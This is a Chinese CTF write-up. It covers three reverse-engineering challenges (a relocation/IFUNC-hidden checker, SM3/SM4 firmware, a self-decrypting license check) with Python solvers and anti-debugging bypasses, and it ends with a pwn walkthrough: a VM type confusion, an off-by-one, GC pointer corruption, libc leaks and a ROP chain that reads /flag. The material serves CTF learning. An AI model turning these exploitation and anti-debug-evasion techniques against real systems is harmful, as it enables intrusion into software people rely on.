常量解混淆得到初始密钥:

K[0] = 0x1fa6bee7224fb586
K[1] = 0x56fc5596cf5bad58
目标 L = 0x4fb335a84fa7d2d7
目标 R = 0x02a183e3b4f4f49f

代码用 (a | b) + (a & b) 隐藏加法,用 (a | b) - (a & b) 隐藏异或。化简后,所有加法按 64 位截断:

K[i] = ROL64(K[i-1] + K[i-2], 13)
        XOR ROR64(K[i-2], 7)
        XOR (i * 0x9e3779b97f4a7c15)       # i = 2..31
F(x, k) = (ROL64(x + k, 13) XOR ROL64(x, 29)) + ROL64(x, 47)
L = input_lo XOR K[0]
R = input_hi XOR K[1]
for i = 2..31:
    (L, R) = (R, L XOR F(R, K[i]))

这是 30 轮 Feistel。逆向按 i = 31..2 计算 (L, R) = (R XOR F(L, K[i]), L),最后异或初始密钥,按小端打包并转十六进制,即得到 flag。

4. 验证范围

已完成算法正向回代,以及 Unicorn 中原始 x86-64 解析器和校验器的机器码执行。模拟执行确认了解密产物、自擦除和调用桩修改,并从原调用桩 0x3b30 进入校验。

正确输入输出 flag accepted\n;改单个十六进制字符、长度错误、有调试器、加载对象数过多、加载器断点等案例均无成功输出。结果见 verification.txt。

验证使用模拟的 Linux 加载器元数据和 /proc/self/status,所有 syscall 均在 Python 内处理,没有实际读取系统状态文件。未在原生 Linux 环境运行整个 ELF。

原生 Linux 上的调用形式应为:

./elfstudy 'flag{4865f2079724968a95c217e0ff4db6c6}'

正常主流程仍会把第一个参数当作文件名尝试打开,因此可能先报告无法打开该文件;隐藏校验仍使用参数字符串本身。

对应求解脚本:

"""Recover ELFStudy's hidden checker and invert its 30-round Feistel cipher.
All input/output paths are relative to this script's directory. Standard library only.
"""
from pathlib import Path
import struct
​
ROOT = Path(__file__).resolve().parent
​
MASK = (1 << 64) - 1
​
​
def u64(data, offset):
    return struct.unpack_from('<Q', data, offset)[0]
​
​
def rol(value, count):
    return ((value << count) | (value >> (64 - count))) & MASK
​
​
def recover():
    data = bytearray((ROOT / 'elfstudy').read_bytes())
    # COPY relocations inject this second relocation table into .rela.plt.
    # Its first SIZE64 relocation sets symbol 57's value to the additive key.
    key = u64(data, 0x1998)
    for offset in range(0x1988, 0x1b98, 24):
        address, info, addend = struct.unpack_from('<QQQ', data, offset)
        if info == 0x3900000001:  # R_X86_64_64, symbol 57
            struct.pack_into('<Q', data, address, (key + addend) & MASK)
    stage1 = bytes(data[0x7325:0x7396])
    # IFUNC resolver at 0x7325 decrypts DWORDs backwards, then erases itself.
    accumulator = 0
    for index in range(0xcb, 0, -1):
        offset = 0x7396 + index * 4
        value = struct.unpack_from('<I', data, offset)[0] ^ accumulator
        assert value, 'Resolver would abort on a zero decrypted DWORD'
        struct.pack_into('<I', data, offset, value)
        accumulator = (accumulator + value) & 0xffffffff
    return data, stage1
​
​
def round_function(value, key):
    return ((rol((value + key) & MASK, 13) ^ rol(value, 29))
            + rol(value, 47)) & MASK
​
​
def solve(data):
    keys = [u64(data, 0x7686) ^ u64(data, 0x768e),
            u64(data, 0x7696) ^ u64(data, 0x769e)]
    for index in range(2, 32):
        keys.append(rol((keys[-1] + keys[-2]) & MASK, 13)
                    ^ rol(keys[-2], 57)
                    ^ ((index * 0x9e3779b97f4a7c15) & MASK))
    target = (u64(data, 0x76a6), u64(data, 0x76ae))
    left, right = target
    for index in range(31, 1, -1):
        left, right = right ^ round_function(left, keys[index]), left
    raw = struct.pack('<QQ', left ^ keys[0], right ^ keys[1])
    # Independent forward direction verifies the recovered preimage.
    left, right = struct.unpack('<QQ', raw)
    left ^= keys[0]
    right ^= keys[1]
    for index in range(2, 32):
        left, right = right, left ^ round_function(right, keys[index])
    assert (left, right) == target
    return 'flag{' + raw.hex() + '}'
​
​
if __name__ == '__main__':
    unpacked, resolver = recover()
    flag = solve(unpacked)
    (ROOT / 'stage1.bin').write_bytes(resolver)
    (ROOT / 'unpacked.bin').write_bytes(unpacked)
    (ROOT / 'flag.txt').write_text(flag + '\n', encoding='utf-8')
    print(flag)
    print('Forward cipher verification: PASS')

考点补充

  • 核心考点:ELF 动态链接结构的滥用——节表 .rela.dyn 大小(0x258)与 DT_RELASZ(0x5e8)不一致,用 R_X86_64_COPY 把第二张重定位表塞进加载流程,再以 R_X86_64_SIZE64/R_X86_64_64 在页内空隙拼出代码,最后把符号 55 改成指向 0x7325 的 GNU IFUNC 解析器;拿到解密后的校验器后还要逆推 30 轮 Feistel。

  • 关键技巧:顺着 RELATIVE → COPY(0x15e0) → SIZE64(0x16493f2103392e07) + addend 这条链还原隐藏重定位,对 0x7396 + 4*i 的 DWORD 从 i=0xcb 递减做 XOR 累积解密得到 0x739a 校验入口;用 Unicorn 直接执行原机器码,配合伪造的加载器元数据和 /proc/self/status 绕开反调试检测。

  • 常见坑:隐藏内容落在节与加载段尾部的页内空隙,只按 .text 范围反汇编无法完整看到;解密循环方向不能反,且原文遇到明文 0 就提前退出,脚本里用 assert 拦下;K[i] 递推里 ROR64(K[i-2], 7) 在脚本中写成等价的 rol(keys[-2], 57),不要误认为两处算法不同;Feistel 初值要先与 K[0]/K[1] 异或,逆向轮序为 i=31..2,任一处理错都会回代失败。

  • 延伸:IFUNC 解析器在重定位阶段就执行,天然适合当“解密 + 自擦除”载荷;作者同时检查 DT_DEBUG、r_brk 处 0xcc、TracerPid 和加载对象数上限,是典型的反动态调试组合,遇到同类 ELF 应优先静态解析 DT_* 表而非直接调试。

firmware

solve.py 和 sm4.py 仅使用 Python 标准库,需要当前 OpenSSL 支持 SM3;工作区内的 Python 3.11.9 已验证可用。第二条命令用工作区内的 Unicorn 执行原始 RISC-V 密钥生成函数,验证 Python 复现结果。solution.json 保存最终参数。

压缩包包含 fw_a(静态链接、去符号的 x86-64 ELF)、fw_b.bin(RV32IMAC ELF)和 ota_package.bin(176 字节)。两个固件都以 SM3 校验 .text,摘要位于 .selfhash。分析保留原始固件字节,不修改校验或跳转。

1. RISC-V 密钥材料

fw_b.bin 入口为 0x108fe,实际主体从 0x100b4 开始。自校验后,0x103fa 调用 0x10818,输出 16 字节材料。

0x10818 是固定初始状态、64 轮的 32 位混合函数,使用循环移位、异或、模 2^32 加法。初始状态为 243f6a88 85a308d3 13198a2e 03707344。逐指令复现见 key_material(),按小端序输出:

dd97cb2de25cea1a8a9bc49b81abf9f4

fw_a 在 0x401df9 计算它的 SM3,比较前 16 字节,目标位于文件偏移 0xb3200。计算结果与目标一致。

2. 分段解密 OTA 与执行虚拟机

OTA 结构:

文件偏移

含义

0x00

QWBP 魔数与版本

0x08

16 字节 nonce:000102030405060708090a0b0c0d0e0f

0x18

分段数 3

0x1c

拼接后指令明文的 32 字节 SM3

0x3c

三项 <offset, length, CRC32>,均为小端 uint32

0x60

三段密文,共 38 字节

0x86

QWBPFLAG

0x8e

flag 长度 30,小端 uint32

0x92

flag 密文

第一段种子为 SM3("QWBP-NONCE" || nonce)[:16]。流函数位于 0x403430,依次拼接 SM3(seed || BE32(i)),计数从 0 开始,再与密文异或。

主程序使用 ptrace 将短小的本机指令处理器送进子进程执行,并动态改变保存处理器的异或掩码。还原语义后,只需模拟一个整数栈。实际用到的指令为:

指令

语义

01 xx

压入 xx

81 xx

压入 ROL8(xx XOR 0x5a, 4)

02

弹出两项,压入它们的异或

82

弹出两项,压入 ROL8(a XOR b, 3)

03 / 83

弹出一项,输出其低字节

04 / 84

退出

每段执行后,存活栈按小端 64 位整数编码并求 SM3。后续段种子为:

SM3(stack_hash || previous_plaintext || BE32(next_crc32))[:16]

解密结果:

段

明文 hex

执行后栈

0

01410102028100820111028100

26 a5

1

8203015a81418203019f013e

9f 3e

2

017c011a015b012d0184016004

9f 3e 7c 1a 5b 2d 84 60

三段 CRC32 和拼接明文 SM3 全部匹配。参数 vm_out8 是最终栈的八个低字节:9f3e7c1a5b2d8460。运行过程中真正写向 stdout 的两个字节为 1c5f,它们不是这个参数。

3. 联合派生 CTR 初值

文件偏移 0xb3210 的 23 字节逐字节异或 0x5a,得到 QWB2026::TWIN::DEVICE-A。主程序 0x401ed4 至 0x401fac 的派生流程为:

device = SM3("QWB2026::TWIN::DEVICE-A")[:16]
base   = SM3(keymat || device || vm_out8)[:16]
ctr    = SM3("twin-ctr" || base)[:16]

得到:

base = d15b7a4d0a95f859b589b24a14b356a6
ctr  = 74150ea892fb5e9683815f03b5035db5

SM3(ctr)[:16] 与文件偏移 0xb31f0 的目标匹配。主程序到这里校验联合派生结果;其正常成功提示是 twin-fw: verification ok,不会直接打印 flag。

4. 白盒 SM4 与 flag

文件偏移 0xb3240 起有 0x20028 字节的白盒表,魔数 QWBWBTAB,后跟 32 字节物理行置换和 32 × 4 × 256 个表项。表整体 SM3 前 16 字节也与程序内置目标匹配。

每个表项以大端 uint32 存储。第 j 列满足:

T[row][j][x] = SBOX[x XOR key_byte] << (8*j)

因此通过 SBOX^-1(T[row][j][0] >> (8*j)) 可恢复轮密钥字节。注意列 0 对应实际轮密钥的最高字节;不能直接把各表项的位移方向当成 SM4 字节顺序。按置换重新排列 32 个物理行后,逆推 SM4 密钥扩展,得到:

b5202c7d3801350533bacbe58a2be07c

全部 32 轮密钥均与该主密钥重新扩展的结果一致。最终以派生的 ctr 为初值,按 128 位大端整数递增,用白盒 SM4 加密各计数块,所得流与 flag 密文异或:

flag{d230_5a75cf4_d8fb3e5_bae}

验证包括两个固件的自哈希、密钥材料摘要、三段 CRC、指令整体摘要、CTR 摘要、白盒表摘要、完整轮密钥扩展、标准 SM4 测试向量,以及直接查白盒表与恢复密钥计算出的两个实际 CTR 密钥流块一致。另用 Unicorn 执行原始 0x10818 函数,输出与 Python 复现完全一致。未原生运行整个 Linux 主程序的 fork/ptrace 流程。

解题脚本(exp)如下:

from pathlib import Path
import hashlib, struct, zlib, json, sys
sys.path.insert(0,str(Path(__file__).resolve().parent))
from sm4 import recover, schedule, encrypt, encrypt_table
ROOT=Path(__file__).resolve().parent
A=(ROOT/'fw_a').read_bytes()
B=(ROOT/'fw_b.bin').read_bytes()
OTA=(ROOT/'ota_package.bin').read_bytes()
def sm3(x): return hashlib.new('sm3',x).digest()
def rol(x,n):
    n&=31; x&=0xffffffff
    return ((x<<n)|(x>>((32-n)&31)))&0xffffffff
def key_material():
    s=[0x243f6a88,0x85a308d3,0x13198a2e,0x03707344]
    t=0x7c1e9b42; last=0xb5f3a1d7
    for i in range(64):
        k=((i+1)*0x9e3779b9)&0xffffffff
        x=rol(t+k,i&15)^last
        last=(x+(x>>3))&0xffffffff
        s[i&3]=(rol(s[i&3]^last,7)+(i+1)*0x85ebca6b)&0xffffffff
        t=(t+rol(x^k,(i+7)&15))&0xffffffff
        j=(i+1)&3
        s[j]^=rol(s[j]+t,11)
    return struct.pack('<4I',*s)
def stream(seed,n):
    return b''.join(sm3(seed+struct.pack('>I',i)) for i in range((n+31)//32))[:n]
def xor(a,b): return bytes(x^y for x,y in zip(a,b))
def run_ota():
    seed=sm3(b'QWBP-NONCE'+OTA[8:24])[:16]
    stack=[]; output=bytearray(); plaintext=bytearray(); statehash=bytes(32); previous=b''
    count=struct.unpack_from('<H',OTA,24)[0]
    for block in range(count):
        off,n,crc=struct.unpack_from('<III',OTA,0x3c+12*block)
        if block: seed=sm3(statehash+previous+struct.pack('>I',crc))[:16]
        p=xor(OTA[off:off+n],stream(seed,n))
        print('block',block,'seed',seed.hex(),'plaintext',p.hex(),'crc',hex(zlib.crc32(p)),hex(crc))
        assert zlib.crc32(p)==crc
        pc=0
        while pc<len(p):
            op=p[pc]; pc+=1; mode=op>>7; op&=127
            if op==1:
                arg=p[pc]; pc+=1
                stack.append(((arg^0x5a)<<4 | (arg^0x5a)>>4)&255 if mode else arg)
            elif op==2:
                v=stack.pop()^stack.pop()
                stack.append(((v<<3)|(v>>5))&255 if mode else v)
            elif op==3: output.append(stack.pop()&255)
            elif op==4: break
            else: raise ValueError(op)
        print(' stack',stack,'output',output.hex())
        if block<count-1: statehash=sm3(b''.join(struct.pack('<Q',x) for x in stack))
        previous=p; plaintext+=p
    assert sm3(plaintext)==OTA[28:60]
    return bytes(x&255 for x in stack),bytes(plaintext)
if __name__=='__main__':
    km=key_material()
    assert sm3(km)[:16]==A[0xb3200:0xb3210]
    assert sm3(A[0x11c0:0xab8bd])==A[0xea6c0:0xea6e0]
    assert sm3(B[0xb4:0x90e])==B[0x940:0x960]
    vm,plain=run_ota()
    assert len(vm)==8
    salt=xor(A[0xb3210:0xb3227],b'\x5a'*23)
    base=sm3(km+sm3(salt)[:16]+vm)[:16]
    counter=sm3(b'twin-ctr'+base)[:16]
    assert sm3(counter)[:16]==A[0xb31f0:0xb3200]
    table=A[0xb3240:0xd3268]
    assert table[:8]==b'QWBWBTAB'
    assert sm3(table)[:16]==A[0xb31e0:0xb31f0]
    wbkey,rks=recover(table)
    vector=bytes.fromhex('0123456789abcdeffedcba9876543210')
    assert encrypt(vector,schedule(vector)).hex()=='681edf34d206965e86b3e94f536e4246'
    count=struct.unpack_from('<H',OTA,24)[0]
    end=max(sum(struct.unpack_from('<II',OTA,60+12*i)) for i in range(count))
    assert OTA[end:end+8]==b'QWBPFLAG'
    n=struct.unpack_from('<I',OTA,end+8)[0]
    cipher=OTA[end+12:end+12+n]
    assert len(cipher)==n
    keystream=b''
    for i in range((n+15)//16):
        block=((int.from_bytes(counter,'big')+i)%(1<<128)).to_bytes(16,'big')
        a=encrypt(block,rks)
        assert a==encrypt_table(block,table)
        keystream+=a
    flag=xor(cipher,keystream)
    assert xor(flag,keystream)==cipher
    result={'keymat':km.hex(),'vm_out8':vm.hex(),'device_salt':salt.decode(),
            'base':base.hex(),'counter':counter.hex(),'whitebox_sm4_key':wbkey.hex(),
            'ota_plaintext':plain.hex(),'flag':flag.decode()}
    (ROOT/'solution.json').write_text(json.dumps(result,indent=2)+'\n',encoding='utf-8')
    print(json.dumps(result,indent=2))
    print('All integrity, CRC, key schedule, and direct whitebox checks passed.')

考点补充

  • 核心考点:固件题的多层算法串联——SM3 自哈希校验、SM3 链式流密码、自定义栈式虚拟机,以及白盒 SM4 表结构下的密钥恢复与 CTR 解密,最终 flag 由多段派生密钥共同决定。

  • 关键技巧:用 SM3(seed || BE32(i)) 按计数块生成密钥流,并以 CRC32 与整段 SM3 作为断言逐步确认解密正确;从 T[row][j][x] = SBOX[x XOR key_byte] << (8*j) 反推 SBOX^-1(T[row][j][0] >> (8*j)) 得到轮密钥字节,再逆推 SM4 密钥扩展;用 Unicorn 直接执行原始 0x10818 交叉验证 Python 复现结果。

  • 常见坑:虚拟机真正写向 stdout 的 1c5f 不是参数 vm_out8(应为 9f3e7c1a5b2d8460);白盒表列 0 对应轮密钥最高字节,把位移方向当成 SM4 字节序会算错密钥;三段种子依赖上一段执行后的栈哈希、明文与下一段 CRC,顺序或编码(小端 64 位、BE32)错一处后续全错。

  • 延伸:这类自校验固件不必 patch 校验或跳转,保留原始字节做纯静态复现即可;分析时按「自校验 → 密钥材料 → 分段解密 → 白盒/CTR」分层,每层都留摘要比对,能在早期定位偏差,避免直接运行 fork/ptrace 主程序这类不可控路径。

license

flag{9530b81c-61d0-2b62-3e96-f9a5e937f893}

该字符串由附件中原有的隐藏校验逻辑生成,并从原有输出调用处捕获,不是从 strings 搜索得到,也没有在求解脚本中写死。

本次采用 Unicorn 模拟 Linux x86-64 指令及必要的 Linux 系统调用语义。最终复现执行了 17,138 条隐藏指令,在一处注入了根据比较目标反推的中间状态。这是 flag 提取解法,不是完整有效许可证生成器;没有声称原文件在真实 Linux 环境中直接接受了某个输入。 recovered_input.json 的 license 字段只是模拟用输入,未恢复的位置仍是零。

一键复现

在工作区根目录运行:

.\tools\python\python.exe -B .\license_re\solve_license.py

依赖工作区已有的 Unicorn、Capstone,以及同目录的原始 license、emulate.py、required_state.json 和 recovered_input.json。无需联网,不运行宿主 Linux 命令,也不读取宿主 /proc。

成功后写出 flag.txt 与 result.json。result.json 明确记录验证方式、隐藏指令数量,以及尚未恢复完整有效许可证的限制。

1. 文件与表层流程

ZIP 内只有一个 1,747,992 字节的 ELF64 x86-64 文件。入口为 0x402610,主函数为 0x402f9a。文件保留了部分符号,包括:

地址

符号 / 用途

0x5024fc

sec_env_probe:反调试检测

0x5028f7

wb_read_line:输入读取

0x50299e

chow_wb_encrypt:表层白盒处理

0x502e9f

wb_verify_fold:折叠比较结果

0x502764

ext_encoding_apply:外部编码及会话状态

0x402e5b

安装信号处理器,进入隐藏校验

输入格式为 96 个十六进制字符,对应 48 字节。主函数在白盒相关函数之后仍会进入隐藏校验,因此不能把白盒符号当成唯一校验入口。

2. 浮点常量编码

0x402747 从 0x50d8a0 的 float 数组读取一个数,调用反正弦函数,乘以 256,再转换为整数并取低八位:

decoded[i] = round(asin(float_table[i]) * 256) & 0xff

还原后得到提示字符串、256 字节置换表、GF(16) 乘法表、24 字节比较目标及用于输出的加密常量。常量保存在 decoded_constants.bin。例如偏移 0x242 处还原为 please input your license:。

3. 单步异常驱动的隐藏执行

初始化代码创建运行状态、查表数据及跳转流,将 0x404000 开始的代码区设为可写,并设置 EFLAGS.TF。0x406000 是 SIGTRAP 处理器。

正常执行不是沿静态反汇编顺序前进,而是:

  1. 调度器根据跳转流、计数器、上次位置、环境检测值及校验中间量计算下一条指令位置。

  2. 解密该位置的 16 字节窗口,保存原来的密文字节。

  3. 开启单步,执行其中的一条真实指令。

  4. SIGTRAP 处理器恢复密文,转入下一轮调度。

因此直接反汇编大片代码会得到大量看似合法但无意义的指令。四个主要调度器相距 0x800,其单步转接点包括相对代码区的 0x254、0xa5c、0x1254 和 0x1a53。

emulate.py 保留原文件代码及原调度算法,只在模拟器中实现对应的异常转接。系统调用由内存内的模型提供:例如返回 TracerPid: 0 的合成内容、无效文件描述符返回 -EBADF,不打开宿主文件、不创建真实子进程、不执行真实 ptrace。TF、IF、RCX、R11 以及 syscall 后的单步时机都影响解密状态,不能简单地把所有 syscall 当作返回零的空操作。

4. 利用解密连续性恢复约束

隐藏代码会执行如下形式的状态更新:

movzx eax, byte ptr [r12 + ...]
movzx ecx, word ptr [r12 + 0xa]
xor   cl, al
mov   word ptr [r12 + 0xa], cx

如果字节不正确,下一条指令的地址和解密结果会同时改变。对这个字节枚举 256 种取值,正确值会产生连续、合理的指令流;错误值通常跳到无意义的指令。候选不唯一时继续执行若干条指令区分。

recover_vm.py 记录了这种约束恢复过程,vm_repairs.json 保存了枚举得到的值。恢复出的后 24 字节实际上是内层解释器的字节码:

00800cc020e00101600c20e000800ca14040e01a038260e0

较后的校验还会读取前 24 字节中的单个字节,与已知中间量异或,再经若干查表与旋转操作混入指令解密状态。recover_input.py 在读取前建立快照,逐字节枚举,恢复了 13 个被这种逻辑直接使用的位置。部分位置重复被检查,得到的值一致。

这些枚举只用于分析阶段;最终 solve_license.py 不再逐条修正指令解密密钥,而是使用保存的字节值运行原隐藏代码。

5. 反推可用于 flag 提取的中间状态

前 24 字节经过三轮 Feistel 形式的变换、与输入异或以及一个 24×24 的可逆二进制线性层。在线性层的每个字节输出中,输入字节仅通过 XOR 组合,因此可以直接从已解密指令中提取矩阵。

程序比较使用的目标为:

082f54e63c2997605d0679ba143a49d07dcdba76266c79d0

对线性矩阵做高斯消元,得到其输入应为:

8721a19db336fdb91f3f6f5b9a2adcdc0b53034b6a8a0324

这个推导过程保留在 extract_flag.py,结果保存到 required_state.json。最终复现仅在 0x40d405 执行前,将上述状态写入运行状态的 +0x90,并将 target XOR state 写入 +0xa8,与此时程序预期的表示一致。后续比较、字节码处理、混合运算与输出生成继续执行原始隐藏指令。模拟器最后在原 puts 调用地址 0x488370 捕获到了开头给出的 flag。

保留的主要产物

  • solve_license.py:最终快速复现入口。

  • emulate.py:ELF 装载、异常转接及系统调用模型。

  • recover_vm.py、recover_input.py:分析阶段的约束枚举脚本;前者是探索脚本,并非最终复现入口。

  • input_trace.txt、input_instructions.json:成功提取过程的隐藏指令与运行轨迹。

  • required_state.json、recovered_input.json:最终复现所需的恢复数据。

  • flag.txt、result.json:结果与验证范围。

所有文件操作均限于工作区;原压缩包未修改,解压后的 ELF 也未打补丁。中间状态调整发生在 Unicorn 的模拟内存中。

最终复现脚本 solve_license.py 如下:

"""Extract the flag with recovered VM state; does not claim a valid license."""
import json
import re
import sys
from pathlib import Path
​
ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT))
​
from emulate import Emulator
​
​
def main():
    required = json.loads((ROOT / 'required_state.json').read_text())
    recovered = json.loads((ROOT / 'recovered_input.json').read_text())
    state = bytes.fromhex(required['state'])
    target = bytes.fromhex(required['target'])
    trial_input = bytes.fromhex(recovered['license'])
    emu = Emulator(trial_input, trace=False)
    injected = False
​
    def before(ins):
        nonlocal injected
        if ins.address == 0x40d405:
            assert not injected
            # Undo the known invertible linear layer of the 24-byte target.
            # At this point a8 contains target XOR state; the next block
            # removes that XOR before comparing with the constant target.
            p = emu.get('r12')
            emu.u.mem_write(p + 0x90, state)
            emu.u.mem_write(p + 0xa8, bytes(a ^ b for a, b in zip(target, state)))
            injected = True
​
    emu.before = before
    emu.run()
​
    matches = re.findall(rb'flag\{[^}\r\n]+\}', b'\n'.join(emu.output))
    assert injected and len(matches) == 1, 'Expected one flag from original output routine'
    flag = matches[0].decode('ascii')
    result = {
        'flag': flag,
        'method': 'Unicorn execution of original VM with one recovered intermediate-state injection',
        'hidden_instructions_executed': emu.steps,
        'native_execution_verified': False,
        'valid_license_recovered': False,
        'recovered_first_half_positions': recovered['recovered'],
        'second_half': required['bytecode'],
    }
    (ROOT / 'result.json').write_text(json.dumps(result, indent=2), encoding='utf-8')
    (ROOT / 'flag.txt').write_text(flag + '\n', encoding='ascii')
    print(flag)
​
​
if __name__ == '__main__':
    main()

考点补充

  • 核心考点:单步异常(EFLAGS.TF + SIGTRAP)驱动的自解密指令流逆向——代码区被改写为可写,每条指令执行前解密、执行后回填密文,必须还原调度器与异常转接语义才能得到真实指令序列。

  • 关键技巧:用「解密连续性」逐字节枚举 256 种取值,以指令流是否连续合理作为判别条件,从 mov word ptr [r12 + 0xa] 这类状态更新反推正确字节;再把 24×24 可逆线性层当作二进制矩阵做高斯消元,从比较目标 082f54e6… 逆出中间状态 8721a19d…,只需在 0x40d405 前注入一次即可跑完原隐藏代码。

  • 常见坑:未解密前的大片反汇编看似合法实则无意义;四个调度器相距 0x800,转接点容易混;把 syscall 当成返回零的空操作会破坏 TF/IF/RCX/R11 与单步时机,导致解密状态错位;注入的是中间状态而非许可证,注入位置或 +0x90/+0xa8 的语义搞错会得到错误字节串。

  • 延伸:面对白盒+异常单步+运行时自修改的多层保护,纯静态分析会失效,但也不需要完整重建输入;只要定位到「比较前一刻」的状态表示,就能用模拟器承接剩余原始指令完成输出,这种「半符号执行 + 单点状态注入」思路同样适用于其他虚拟机型混淆与许可校验题。

pwn

babel

一、程序结构分析

题目给了一个 Dockerfile 和一个 64 位 ELF(PIE、NX 开启、无栈 canary)。strings 里能查到大量 caml* 符号和 .ml 源文件路径,说明外层是 OCaml 程序;但入口并不是标准的 OCaml runtime 启动流程——main(0xd710)先跑一段自定义初始化,然后进入 0xdb80 的解释循环。也就是说,题目逻辑是一个手写的字节码虚拟机,OCaml 部分只负责外层启动。

初始化阶段做了四件事:

  1. 注册 opcode 映射表(0x75f60)与 64 个 handler 函数指针表(0x76060);

  2. mmap 一块 16 MB 的 VM 堆,另留 4 MB 的 extern 区;

  3. 安装 seccomp 白名单,只放行 read / write / close / openat / brk / rt_sigprocmask / exit / exit_group;

  4. 进入循环,不断读取 [u32 len][payload](len 在 1 到 0x10000 之间),把 payload 读进 .bss 的 0x65e40,再交给解释器执行。

其中两点与后面的利用直接相关:payload 缓冲区 0x65e40 正好紧邻 extern 表 0x75e40;而且 VM 状态(栈、256 个全局变量、堆)跨轮保留,所以可以分多次交互逐步搭建堆布局。

VM 的值模型如下(tag 为最小位以外的类型编号):

tag

含义

关键字段

0

整数

立即数 v>>1,push 时存 v<<1

1

字符串

+0x10 长度、+0x14 长度或 0x80000000、+0x18 数据偏移

3 / 5

数组(两种构造器)

+0x10 元素个数、+0x14 恒为 -1、元素从 +0x18 起

7

builtin 对象

+0x10 id、+0x18 为函数指针表地址

9

extern 对象

+0x14 size、+0x18 槽位号

堆采用 bump 分配 + 压缩式 GC,根集合是 VM 栈、全局变量和注册表。

指令方面共有 27 条,输入字节映射到 0x00–0x19 与 0x20,其中 0x0f 是 concat、0x14 生成 builtin 对象、0x16/0x17/0x18 分别对应 extern 分配/读/写、0x19 是 bind、0x20 是调用 builtin。

二、猜想与黑盒验证

静态逆向 OCaml 生成的机器码成本很高,所以先做动态实验:用 socketpair 把进程的 0/1/2 都接上,逐字节喂入程序,观察每条 opcode 的行为。

  • 只喂单个字节时,打印类指令(0x12)会崩溃,因为栈为空;补一个 push 就正常输出十进制值。

  • 数组指令 0x08/0x09 后面跟 u32 元素个数,0x0a/0x0b 用 u32 下标读写元素;字符串 0x0c/0x0d 同理。

  • 最关键的发现是 0x0f:它的语义是「拼接」,但只检查值的最低位奇偶性,没有校验 tag。把两个字符串喂给它,得到正常拼接结果;但把一个数组喂给它时,程序没有报 type trap,而是从堆里拷了一段数据出来。对照反汇编可以看到,concat 是这么取源的:

    • 长度取块 +0x10(对数组来说是元素个数);

    • 源地址取块 +0x18(对数组来说是第 0 个元素的原始 64 位值,不是指针)。

也就是说,concat(array, 0) 会从 堆基址 + element[0] 拷 count 字节到新字符串,再用 print 就能输出——这就是一个任意堆读原语。

紧接着发现第二个问题:concat 生成字符串时,+0x14 写的是 (len+1) | 0x80000000,但按 size = (len+0x1f) & ~0xf 分配后,payload 实际只有 len 字节。当 len 是 16 的倍数时,容量正好是 len,而 string-set 允许下标 < len+1,于是可以越界写 1 字节,正好落在下一个堆块的类型字节上。

三、漏洞链

四个问题串起来就是一条完整链条:

  1. concat 类型混淆 → 任意堆读。 数组元素 0 存的是原始值,push 时值会被乘 2,所以填 偏移/2 即可让读指针指向任意堆内偏移;长度取元素个数。

  2. 字符串容量 off-by-one → 改下一块的类型字节。 用 concat 造一个长度恰为 0x100 的字符串 S1,它后面紧跟另一个字符串 S2,则 sset(S1, 0x100) 恰好写到 S2 的 type 字节。

  3. 类型污染 + GC → 悬空数据指针。 把 S2 的 type 从 0 改成 1 之后,GC 在标记阶段会把它当数组扫描元素,但在压缩搬迁阶段只有 type 0 的字符串才会更新 +0x18 数据指针。于是回收完成后 S2 的数据指针仍指向旧位置。

只要堆布局安排成 [已死的 Zd(总大小 0x100)][S1(长度 0x100)][S2(长度 0x100)][T(extern 对象,0x20)],压缩后 S2.data 的旧值就精确落在搬迁后的 T 上。此后用 sset(S2, i) 就能覆盖 T 的头部字段。

  1. bind 越权写 → 函数指针劫持。 bind 要求对象 tag 为 9、+0x14 == -1、+0x18 < 16。正常 extern 对象的 +0x14 是 size,构造不出来 -1;但上一步已经能任意改 T 的字段,于是伪造出「size = -1、槽位 = N」的 extern 对象,bind 就会执行 table[slot] = { value>>1, 0x100000 }:

    • 槽位 0–7 落在 extern 表上,配合 extern_read/extern_write 得到任意地址读写;

    • 槽位 8 落在 builtin 函数指针表,可以直接覆盖 builtin[0]。

四、利用步骤

  1. 泄露 PIE。 先用 builtin_obj(0) 在堆偏移 0 处造一个 tag 7 对象,它的 +0x18 是 &函数指针表[id](固定偏移 0x59098)。用漏洞 1 读出 8 字节拼成整数,减去 0x59098 即得到 PIE 基址,且结果页对齐可作为自检。

  2. 整理堆布局。 用 concat 倍增构造 0x10 到 0x10000 的活字符串,最后一次分配会触发 GC,把之前所有垃圾清干净;然后再按上面的四块布局精确摆放 Zd、S1、S2、T,其中 Zd 里顺便埋入 /flag 字符串常量。

  3. 触发压缩。 用 sset 把 S2 的 type 改成 1,再做一次大 concat 触发 GC,S2 的数据指针就指向 T 了。

  4. 泄露 libc。 把 T 的 +0x14 写成 0xFF(即 -1)、+0x18 写成 0,然后 bind(T, pie+0x58e00) 把 open64 的 GOT 槽绑到槽位 0;用 extern_read 读 8 字节得到 open64 的真实地址,减去 0x11b3f0 得到 libc 基址。

  5. 劫持控制流。 把 T 的槽位改成 8,再 bind(T, libc+0x5ef6f),builtin[0] 就被改成 libc 里的 mov rsp, rdx ; ret。调用 call builtin 0 时,rdx 正好指向 VM 栈上的参数数组,于是栈直接迁移到我们预先布置好的 ROP 链上。

  6. ROP 取 flag。 链条为 close(0) → open("/flag", 0) → read(0, buf, 0x100) → fputs(buf, stdout) → exit(0)。

关键偏移汇总:

项目

偏移

builtin 对象泄露点

0x59098

open64 GOT 槽

0x58e00

pop rdi ; pop rbp ; ret

0xe14a

pop rsi ; ret

0xe1ae

pop rax ; add rsp,0x18 ; ret

0x1d190

pop rdx 系列

0x29eb2

close / open64 / read / fputs / exit 的 PLT

0xd0f0 / 0xd380 / 0xd1e0 / 0xd3d0 / 0xd1a0

libc open64 / stdout / 栈迁移 gadget

0x11b3f0 / 0x2055c0 / 0x5ef6f

五、实现中遇到的问题

  • VM 的 push 存的是 v<<1。 所以 ROP 链里每个地址必须压入「地址/2」,否则弹出来的是两倍值。VM 没有除法指令,于是改成按字节拼出「半值」:高 7 字节照常移位累加,最后一字节单独取半再加进去。

  • 整数常量只能是偶数。 直接算出的半值末位可能为奇,无法用 push 表示。解决办法是先 close(0),让 open("/flag") 返回 fd 0,整条链就不需要任何奇数常量;输出用 fputs(buf, stdout) 也不依赖 fd 1。

  • saveprevssp 在当前 CPU 上非法指令。 最初选的是 libc 里那条 rdx → rsp 的路径,运行直接 ud2,换成 0x5ef6f 处的 mov rsp, rdx ; ret 后正常。

  • 读写原语的偏移要除以 2。 数组元素存的是原始值,用 concat 读堆时填的是 偏移/2;但 string-set 的写入值是原值,不除 2,这里一开始写反了导致一直 type trap。

六、验证结果

